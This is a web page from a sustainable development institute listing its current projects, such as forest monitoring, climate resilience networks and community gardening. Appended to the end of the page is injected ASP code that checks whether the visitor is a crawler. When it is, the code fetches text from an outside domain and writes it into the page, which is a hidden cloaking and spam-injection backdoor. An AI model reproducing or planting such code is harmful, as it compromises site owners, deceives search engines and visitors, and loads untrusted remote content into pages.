Print this Page

Current Projects and Focus

CMN/SDI engages in various projects identified as priorities through the use of the Menominee-based Theoretical Model of Sustainability. The following projects represent current and specific activities that are going on.

MEASURING THE PULSE OF THE FOREST

LEARNING FROM THE LAND

NORTHEAST INDIGENOUS CLIMATE RESILIENCE NETWORK

PLACE-BASED OPPORTUNITIES FOR SUSTAINABLE-OUTCOMES AND HIGH-HOPES (POSOH)

WALKING THE PATH

AIHEC/COMMUNITY GARDENING

SUSTAINABLE CLIMATE RISK MANAGEMENT (SCRiM)

Permanent link to this article: http://sustainabledevelopmentinstitute.org/current-projects-and-focus/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>